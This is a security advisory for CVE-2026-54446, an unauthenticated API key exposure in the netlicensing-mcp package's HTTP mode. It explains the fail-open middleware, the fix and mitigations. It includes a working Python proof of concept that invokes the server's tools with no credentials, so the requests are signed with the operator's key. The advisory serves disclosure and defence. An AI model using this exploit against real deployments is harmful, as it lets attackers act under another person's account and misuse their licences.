high · 8.1CVE-2026-54446Jul 14, 2026

CVE-2026-54446: netlicensing-mcp Unauthenticated API Key Exposure in HTTP Mode

Rohit Hatagale
AI Security Researcher, SecureLayer7

When netlicensing-mcp runs in HTTP mode, any unauthenticated attacker can call its MCP tools and the server will silently sign every request with the operator's own NetLicensing API key.

Packagenetlicensing-mcp
Ecosystempip
Affected<= 0.1.5
Fixed in0.1.6

The problem

The `ApiKeyMiddleware` in `server.py` extracts a per-request API key from the `x-netlicensing-api-key` header or `?apikey=` query parameter. When neither is present, it does nothing and calls `return await call_next(request)`, passing the bare request downstream with no rejection.

The downstream HTTP client (`client.py`) holds a `ContextVar` whose default value is `os.getenv("NETLICENSING_API_KEY", "")`. Because the middleware never sets that context variable for unauthenticated requests, the client falls back to the server-level environment variable and encodes it into an `Authorization: Basic` header for every upstream NetLicensing REST API call.

Any network-reachable attacker can therefore invoke the full tool set (product listing, license creation, modification, and deletion) entirely under the operator's identity and account quota.

Proof of concept

A working proof-of-concept for CVE-2026-54446 in netlicensing-mcp, with the exact payload below.

python
# No x-netlicensing-api-key header, no ?apikey= param — send a bare MCP tool call.
# The server forwards its own NETLICENSING_API_KEY to the upstream REST API.

import asyncio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client

async def exploit():
    # Target: netlicensing-mcp <= 0.1.5 running in HTTP mode
    # (python3 -m netlicensing_mcp.server http)
    # No credentials supplied by the attacker.
    async with streamablehttp_client("http://<target>:8000/mcp") as (read, write, _):
        async with ClientSession(read, write) as session:
            await session.initialize()
            # Triggers the auth-bypass; server uses its own NETLICENSING_API_KEY
            result = await session.call_tool("netlicensing_list_products", {"filter": ""})
            print(result)

asyncio.run(exploit())

# Upstream NetLicensing REST API receives:
#   Authorization: Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
# echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d  =>  apiKey:SERVERSECRET

The root cause is a missing early-return on unauthenticated requests. The middleware only sets `api_key_ctx` when a key is found (line 1421-1422); the final `return await call_next(request)` at line 1427 executes unconditionally for both authenticated and unauthenticated paths.

The fix (commit fbbb1d5) replaces that unconditional pass-through with a `JSONResponse({"error": "NetLicensing API key is required for HTTP transport"}, status_code=401)`, so requests with no key are rejected before they reach any tool handler. A `/health` path exemption is added first so liveness probes continue to work.

This is CWE-306 (Missing Authentication for Critical Function): the authentication check exists in the code but its failure branch takes no enforcement action.

The fix

Upgrade to `netlicensing-mcp >= 0.1.6` (patched in commit fbbb1d5ff88eb5400ec933a84e75601ebee48927). If you cannot upgrade immediately, do not expose the HTTP transport on a network-reachable interface, or place a reverse proxy in front that enforces API key authentication before requests reach the `/mcp` endpoint.

Reporter not attributed.

References: [1][2][3][4]

Related research